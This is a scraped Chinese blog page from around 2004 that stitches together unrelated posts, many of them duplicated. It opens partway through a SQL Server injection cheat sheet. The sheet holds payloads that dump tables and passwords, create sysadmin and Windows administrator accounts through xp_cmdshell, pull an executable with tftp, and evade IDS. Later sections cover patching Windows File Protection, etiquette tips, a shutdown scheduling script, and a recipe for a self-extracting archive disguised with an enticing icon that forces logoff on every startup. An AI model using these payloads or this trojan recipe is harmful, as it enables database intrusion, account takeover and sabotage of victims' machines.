and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
传统的存在xp_cmdshell的测试过程:
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp –i youip get file.exe'—
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
传统查询构造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
扩展存储就可以通过一般的方法调用:
exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它:
sp_dropextendedproc 'xp_webserver'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)—
insert into users values( 667,123,123,0xffff)—
insert into users values ( 123, 'admin''--', 'password', 0xffff)—
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库
-----------------------------------------------------------通常注射的一些介绍:
A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
select * from 表名 where 字段='连续剧'
注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
select * from 表名 where 字段like '%关键字%'
注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:
select * from 表名 where字段like '%' and [查询条件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
post.htm内容:主要是方便输入。
枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
--------------------------------高级技巧:
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
How To Disable Tftp.exe, Ftp.exe And Net.exe, COMPLETELY
Windows 2000 and Win2k SP1 (NOT SP2+ or XP)
System Key: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Value Name: SFCDisable
Data Type: REG_DWORD (DWORD Value)
Value Data: 0 = enabled (default), ffffff9d = disabled
Change the value of "SFCDisable" to equal "ffffff9d" to disable WFS or "0" to enable it. The other valid hexadecimal values are:
1 - disabled, prompt at boot to re-enable
2 - disabled at next boot only, no prompt to re-enable
4 - enabled, with popups disabled
ffffff9d - for completely disabled
Restart Windows for the change to take effect.
Additional Steps for Windows 2000 Service Pack 2 and Windows XP
This setting is disabled in Windows 2000 SP2+ and Windows XP, and needs to re-enabled using a hex editor and changing SFC.DLL
(or SFC_OS.DLL for Windows XP) following these instructions: (alternatively you can just replace
the existing dll with the one from SP1 via boot disk or whatever.. then use the reg key.. but thats no fun is it? )
Windows 2000 SP2 +
Make a backup the SFC.DLL in the C:\WINNT\SYSTEM32 directory.
Make an additional copy of SFC.DLL called SFC1.DLL and open it in a hex editor.
At offset 00006211 (6211h) you should find the values "8B" and "C6". Do not continue if you are unable to find these values.
Change the values "8B C6" to read "90 90" and save the changes.
Run these commands to update the system files:
copy c:\winnt\system32\sfc1.dll c:\winnt\system32\sfc.dll /y
copy c:\winnt\system32\sfc1.dll c:\winnt\system32\dllcache\sfc.dll /y
If you are prompted to insert the Windows CD, click Cancel.
Restart Windows for the change to take effect.
Windows XP
Make a backup the SFC_OS.DLL in the C:\WINDOWS\SYSTEM32 directory.
Make an additional copy of SFC_OS.DLL called SFC_OS1.DLL and open it in a hex editor.
Windows XP (no Service Pack)
At offset 0000E2B8 (0E2B8h) you should find the values "8B" and "C6".
Windows XP (Service Pack 1)
At offset 0000E3BB (0E3BBh) you should find the values "8B" and "C6".
Do not continue if you are unable to find these values.
Change the values "8B C6" to read "90 90" and save the changes.
Run these commands to update the system files:
copy c:\windows\system32\sfc_os1.dll c:\windows\system32\sfc_os.dll /y
copy c:\windows\system32\sfc_os1.dll c:\windows\system32\dllcache\sfc_os.dll /y
If you are prompted to insert the Windows CD, click Cancel.
Restart Windows for the change to take effect.
Once these files have been updated apply the registry setting above.
Alternatively you can also just start the machine with a debugger attached running the kernel with /DEBUG
I do this all the time for various reasons but I wouldnt advise this option unless you really know what your doing.
System Key: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Value Name: SFCDisable
Data Type: REG_DWORD (DWORD Value)
Value Data: 0 = enabled (default), ffffff9d = disabled
Change the value of "SFCDisable" to equal "ffffff9d" to disable WFS or "0" to enable it. The other valid hexadecimal values are:
1 - disabled, prompt at boot to re-enable
2 - disabled at next boot only, no prompt to re-enable
4 - enabled, with popups disabled
ffffff9d - for completely disabled
Restart Windows for the change to take effect.
Additional Steps for Windows 2000 Service Pack 2 and Windows XP
This setting is disabled in Windows 2000 SP2+ and Windows XP, and needs to re-enabled using a hex editor and changing SFC.DLL
(or SFC_OS.DLL for Windows XP) following these instructions: (alternatively you can just replace
the existing dll with the one from SP1 via boot disk or whatever.. then use the reg key.. but thats no fun is it? )
Windows 2000 SP2 +
Make a backup the SFC.DLL in the C:\WINNT\SYSTEM32 directory.
Make an additional copy of SFC.DLL called SFC1.DLL and open it in a hex editor.
At offset 00006211 (6211h) you should find the values "8B" and "C6". Do not continue if you are unable to find these values.
Change the values "8B C6" to read "90 90" and save the changes.
Run these commands to update the system files:
copy c:\winnt\system32\sfc1.dll c:\winnt\system32\sfc.dll /y
copy c:\winnt\system32\sfc1.dll c:\winnt\system32\dllcache\sfc.dll /y
If you are prompted to insert the Windows CD, click Cancel.
Restart Windows for the change to take effect.
Windows XP
Make a backup the SFC_OS.DLL in the C:\WINDOWS\SYSTEM32 directory.
Make an additional copy of SFC_OS.DLL called SFC_OS1.DLL and open it in a hex editor.
Windows XP (no Service Pack)
At offset 0000E2B8 (0E2B8h) you should find the values "8B" and "C6".
Windows XP (Service Pack 1)
At offset 0000E3BB (0E3BBh) you should find the values "8B" and "C6".
Do not continue if you are unable to find these values.
Change the values "8B C6" to read "90 90" and save the changes.
Run these commands to update the system files:
copy c:\windows\system32\sfc_os1.dll c:\windows\system32\sfc_os.dll /y
copy c:\windows\system32\sfc_os1.dll c:\windows\system32\dllcache\sfc_os.dll /y
If you are prompted to insert the Windows CD, click Cancel.
Restart Windows for the change to take effect.
Once these files have been updated apply the registry setting above.
Alternatively you can also just start the machine with a debugger attached running the kernel with /DEBUG
I do this all the time for various reasons but I wouldnt advise this option unless you really know what your doing.
星期日, 九月 05, 2004
星期六, 九月 04, 2004
讨人喜欢的26个原则
1. 长相不令人讨厌,如果长得不好,就让自己有才气;
如果才气也没有,那就总是微笑。
2. 气质是关键。如果时尚学不好,宁愿纯朴。
3. 与人握手时,可多握一会儿,真诚是宝。
4. 不必什么都用“我”做主语。
5. 不要向朋友借钱。
6. 不要强迫客人看你的家庭相册。
7. 与人搭出租车时,请抢先坐在司机旁。
8. 坚持在背后说别人好话,别担心这好话传不到当事人耳朵里。
9. 有人在你面前说某人坏话时,你只微笑。
10. 自己开车时,不要特地停下来和一个骑自行车的同事打招呼。人家会以为你在炫耀。
11. 同事生病时,去探望他。 很自然地坐在他病床上,回家再认真洗手。
12. 不要把过去的事全让人知道。
13. 尊敬不喜欢你的人。
14. 对事不对人;或对事无情,对人要有情;或做人第一,做事其次。
15. 自我批评总能让人相信,自我表扬则不然。
16. 没有什么东西比围观者们更能提高你的保龄球的成绩了。所以,平常不要吝惜你的喝彩声。
17. 不要把别人的好,视为理所当然,要知道感恩。
18. 别只讲不听,结果乱成一团,学会聆听。
19. 尊重传达室里的师傅及清洁阿姨。
20. 说话的时候记得常用“我们”开头。
21. 为每一位上台唱歌的人鼓掌。
22. 有时要明知故问:你的钻戒很贵吧!有时,即使想问也不能问,比如:你多大了?
23. 话多必失,人多的场合少说话。
24. 把未出口的“不”改成:“这需要时间”、“我尽力”、“我不确定”
、“当我决定后,会给你打电话”……
25. 不要期望所有人都喜欢你,那是不可能的,让大多数人喜欢就是成功的表现。
26. 当然,自己要喜欢自己。
如果才气也没有,那就总是微笑。
2. 气质是关键。如果时尚学不好,宁愿纯朴。
3. 与人握手时,可多握一会儿,真诚是宝。
4. 不必什么都用“我”做主语。
5. 不要向朋友借钱。
6. 不要强迫客人看你的家庭相册。
7. 与人搭出租车时,请抢先坐在司机旁。
8. 坚持在背后说别人好话,别担心这好话传不到当事人耳朵里。
9. 有人在你面前说某人坏话时,你只微笑。
10. 自己开车时,不要特地停下来和一个骑自行车的同事打招呼。人家会以为你在炫耀。
11. 同事生病时,去探望他。 很自然地坐在他病床上,回家再认真洗手。
12. 不要把过去的事全让人知道。
13. 尊敬不喜欢你的人。
14. 对事不对人;或对事无情,对人要有情;或做人第一,做事其次。
15. 自我批评总能让人相信,自我表扬则不然。
16. 没有什么东西比围观者们更能提高你的保龄球的成绩了。所以,平常不要吝惜你的喝彩声。
17. 不要把别人的好,视为理所当然,要知道感恩。
18. 别只讲不听,结果乱成一团,学会聆听。
19. 尊重传达室里的师傅及清洁阿姨。
20. 说话的时候记得常用“我们”开头。
21. 为每一位上台唱歌的人鼓掌。
22. 有时要明知故问:你的钻戒很贵吧!有时,即使想问也不能问,比如:你多大了?
23. 话多必失,人多的场合少说话。
24. 把未出口的“不”改成:“这需要时间”、“我尽力”、“我不确定”
、“当我决定后,会给你打电话”……
25. 不要期望所有人都喜欢你,那是不可能的,让大多数人喜欢就是成功的表现。
26. 当然,自己要喜欢自己。
用WinRAR做无数次的注销或重启小病毒
第一步
1、新建一个空白rar文件然打开选择‘自解压格式’按钮(版本不同可能名称不同)在对话框中点击‘高级自解压选项’在‘常规’选项卡中的解压路径中输入:‘C:\Documents and Settings\All Users\「开始」菜单\程序\启动’(本人使用的是XP系统,9x系统请输入相应的启动项)在‘解压后运行’框中输入:shutdown -l -f (-r 重启,-s 关机。Win9x中输入相应的命令。详细说明请查阅windows帮助,-f为强制关闭所有程序可加可不加)。
2、选择‘模式’选项卡。在‘安静模式’中选择‘全部隐藏’在‘覆盖方式中’选择‘覆盖所有文件’。
第二步
1、新建一个空白rar文件然打开选择‘自解压格式’按钮,在对话框中点击‘高级自解压选项’在‘常规’选项卡中的解压路径中输入:c:\(可随便输入盘符路径,建议使用c:\)在‘解压后运行’框中输入:shutdown -l -f
2、选择‘模式’选项卡。在‘安静模式’中选择‘全部隐藏’在‘覆盖方式中’选择‘覆盖所有文件’,然后依次单击‘确定’
第三步
新建一个文本文件文件名随便,内容随便。保存退出后用鼠标右键单击第二步建的exe文件选择‘用WinRAR打开’。然后拖动刚健的文本文件放入用RAR打开的exe文件,弹出的对话框中单击确定。
最后一步
用鼠标右键点击第一步建的文件选择‘用WinRAR打开’然后用鼠标拖动第三步建的exe文件放入用rar打开的文件中,然后单击确定。再点击‘自解压格式’在‘文本和图标’选项卡的‘自定义自解压文件图标’中输入压缩后的文件图标,也可单击‘浏览’选择(有些图标压缩后显示不出来请多选几个试试。在这里加载图标的意义是迷惑人让人去点击,所以应选一个有吸引力的图标,或干脆用一个setup的图标也可以。)然后依次单击‘确定’。请保留最后一步建的 exe文件
好了制作成功
1、新建一个空白rar文件然打开选择‘自解压格式’按钮(版本不同可能名称不同)在对话框中点击‘高级自解压选项’在‘常规’选项卡中的解压路径中输入:‘C:\Documents and Settings\All Users\「开始」菜单\程序\启动’(本人使用的是XP系统,9x系统请输入相应的启动项)在‘解压后运行’框中输入:shutdown -l -f (-r 重启,-s 关机。Win9x中输入相应的命令。详细说明请查阅windows帮助,-f为强制关闭所有程序可加可不加)。
2、选择‘模式’选项卡。在‘安静模式’中选择‘全部隐藏’在‘覆盖方式中’选择‘覆盖所有文件’。
第二步
1、新建一个空白rar文件然打开选择‘自解压格式’按钮,在对话框中点击‘高级自解压选项’在‘常规’选项卡中的解压路径中输入:c:\(可随便输入盘符路径,建议使用c:\)在‘解压后运行’框中输入:shutdown -l -f
2、选择‘模式’选项卡。在‘安静模式’中选择‘全部隐藏’在‘覆盖方式中’选择‘覆盖所有文件’,然后依次单击‘确定’
第三步
新建一个文本文件文件名随便,内容随便。保存退出后用鼠标右键单击第二步建的exe文件选择‘用WinRAR打开’。然后拖动刚健的文本文件放入用RAR打开的exe文件,弹出的对话框中单击确定。
最后一步
用鼠标右键点击第一步建的文件选择‘用WinRAR打开’然后用鼠标拖动第三步建的exe文件放入用rar打开的文件中,然后单击确定。再点击‘自解压格式’在‘文本和图标’选项卡的‘自定义自解压文件图标’中输入压缩后的文件图标,也可单击‘浏览’选择(有些图标压缩后显示不出来请多选几个试试。在这里加载图标的意义是迷惑人让人去点击,所以应选一个有吸引力的图标,或干脆用一个setup的图标也可以。)然后依次单击‘确定’。请保留最后一步建的 exe文件
好了制作成功
定时间段关机的批处理
参考tombkeeper的提示
https://www.xfocus.net/bbs/index.php?act=ST&f=2&t=39156
做了个定时间段关机的批处理,防止MM老是晚上上网忘了去睡觉,,想找个关机的程序,还大部分是要注册的共享软件,晕4. 下面是批处理代码,winxp/2003验证通过
@Rem write by echo521 qq:1288893
@echo off
@rem 如果检测到是自己的用户名登录的话直接退出
netsh diag show computer /v | find /i "\echo521" >nul && exit
@rem 把上面的echo521换成你不想要执行这个脚本的用户名
time /t |find "22:" >nul && goto shutdown
time /t |find "23:" >nul && goto shutdown
time /t |find "00:" >nul && goto shutdown
time /t |find "01:" >nul && goto shutdown
time /t |find "02:" >nul && goto shutdown
time /t |find "03:" >nul && goto shutdown
time /t |find "04:" >nul && goto shutdown
time /t |find "05:" >nul && goto over
time /t |find "06:" >nul && goto over
time /t |find "07:" >nul && goto over
time /t |find "08:" >nul && goto morning
time /t |find "09:" >nul && goto morning
time /t |find "10:" >nul && goto morning
time /t |find "11:" >nul && goto eat
time /t |find "12:" >nul && goto eat
time /t |find "13:" >nul && goto eat
time /t |find "14:" >nul && goto eat2
time /t |find "15:" >nul && goto eat2
time /t |find "16:" >nul && goto eat2
time /t |find "17:" >nul && goto eat3
time /t |find "18:" >nul && goto eat3
time /t |find "19:" >nul && goto eat3
time /t |find "20:" >nul && goto night
time /t |find "21:" >nul && goto night
exit
:shutdown
net send 192.168.0.1 MM,很晚了,别玩电脑去睡觉吧,注意身体---疼你的GG & shutdown /s /f /t 60
exit
:over
net send 192.168.0.1 MM,这么早就起来啦,先别玩电脑去锻炼一下,注意身体---疼你的GG & shutdown /s /f /t 60
exit
:morning
net send 192.168.0.1 玩一会儿电脑记得休息啊。---疼你的GG
exit
:eat
net send 192.168.0.1 该是吃中饭的时候了,记得去吃饭哦!--疼你的GG
exit
:eat2
net send 192.168.0.1 你吃了饭没有?没有的话赶快去吃吧,一定记得吃饭哦,还有别只顾玩却让小猫在家搞破坏啊 --疼你的GG
exit
:eat3
net send 192.168.0.1 该是吃晚饭的时候了!别告诉我你还没吃中饭啊,记得去吃饭哦,饿坏了我心疼。--疼你的GG
exit
:night
net send 192.168.0.1 别玩的太晚啊,注意身体,还有晚饭吃了没有,没有的话赶快去吃吧?--疼你的GG
exit
把以上内容存为auto.bat 放到 c:\ 下 ,再在 本地计算机策略-->用户设置--> windows设置---->脚本-(登录/注销) 的 登录 选项里添加进auto.bat的路径.
或者在计划任务里添加计划任务,为每周的一,二,三,四,五,六,日执行,并且在高级里设置在一天里每隔一小时执行一次.
Windows XP 可以识别以冒号 (:) 开头作为标签的批处理程序行并且不会将它作为命令处理。如果某行以冒号开始,则该行的任何命令都将被忽略。
是下面这个意思
goto cls
goto end
:cls
echo ok
:end
---
c:\>set
USERNAME=ALLyeSNO
so
set|find/i "=ALLyeSNO"
谢谢,昨天在研究netsh的时候也发现一个办法得到当前登录的用户名,
netsh diag show computer /v | find /i "\ALLyeSNO" >nul && exit
https://www.xfocus.net/bbs/index.php?act=ST&f=2&t=39156
做了个定时间段关机的批处理,防止MM老是晚上上网忘了去睡觉,,想找个关机的程序,还大部分是要注册的共享软件,晕4. 下面是批处理代码,winxp/2003验证通过
@Rem write by echo521 qq:1288893
@echo off
@rem 如果检测到是自己的用户名登录的话直接退出
netsh diag show computer /v | find /i "\echo521" >nul && exit
@rem 把上面的echo521换成你不想要执行这个脚本的用户名
time /t |find "22:" >nul && goto shutdown
time /t |find "23:" >nul && goto shutdown
time /t |find "00:" >nul && goto shutdown
time /t |find "01:" >nul && goto shutdown
time /t |find "02:" >nul && goto shutdown
time /t |find "03:" >nul && goto shutdown
time /t |find "04:" >nul && goto shutdown
time /t |find "05:" >nul && goto over
time /t |find "06:" >nul && goto over
time /t |find "07:" >nul && goto over
time /t |find "08:" >nul && goto morning
time /t |find "09:" >nul && goto morning
time /t |find "10:" >nul && goto morning
time /t |find "11:" >nul && goto eat
time /t |find "12:" >nul && goto eat
time /t |find "13:" >nul && goto eat
time /t |find "14:" >nul && goto eat2
time /t |find "15:" >nul && goto eat2
time /t |find "16:" >nul && goto eat2
time /t |find "17:" >nul && goto eat3
time /t |find "18:" >nul && goto eat3
time /t |find "19:" >nul && goto eat3
time /t |find "20:" >nul && goto night
time /t |find "21:" >nul && goto night
exit
:shutdown
net send 192.168.0.1 MM,很晚了,别玩电脑去睡觉吧,注意身体---疼你的GG & shutdown /s /f /t 60
exit
:over
net send 192.168.0.1 MM,这么早就起来啦,先别玩电脑去锻炼一下,注意身体---疼你的GG & shutdown /s /f /t 60
exit
:morning
net send 192.168.0.1 玩一会儿电脑记得休息啊。---疼你的GG
exit
:eat
net send 192.168.0.1 该是吃中饭的时候了,记得去吃饭哦!--疼你的GG
exit
:eat2
net send 192.168.0.1 你吃了饭没有?没有的话赶快去吃吧,一定记得吃饭哦,还有别只顾玩却让小猫在家搞破坏啊 --疼你的GG
exit
:eat3
net send 192.168.0.1 该是吃晚饭的时候了!别告诉我你还没吃中饭啊,记得去吃饭哦,饿坏了我心疼。--疼你的GG
exit
:night
net send 192.168.0.1 别玩的太晚啊,注意身体,还有晚饭吃了没有,没有的话赶快去吃吧?--疼你的GG
exit
把以上内容存为auto.bat 放到 c:\ 下 ,再在 本地计算机策略-->用户设置--> windows设置---->脚本-(登录/注销) 的 登录 选项里添加进auto.bat的路径.
或者在计划任务里添加计划任务,为每周的一,二,三,四,五,六,日执行,并且在高级里设置在一天里每隔一小时执行一次.
Windows XP 可以识别以冒号 (:) 开头作为标签的批处理程序行并且不会将它作为命令处理。如果某行以冒号开始,则该行的任何命令都将被忽略。
是下面这个意思
goto cls
goto end
:cls
echo ok
:end
---
c:\>set
USERNAME=ALLyeSNO
so
set|find/i "=ALLyeSNO"
谢谢,昨天在研究netsh的时候也发现一个办法得到当前登录的用户名,
netsh diag show computer /v | find /i "\ALLyeSNO" >nul && exit
订阅:
博文 (Atom)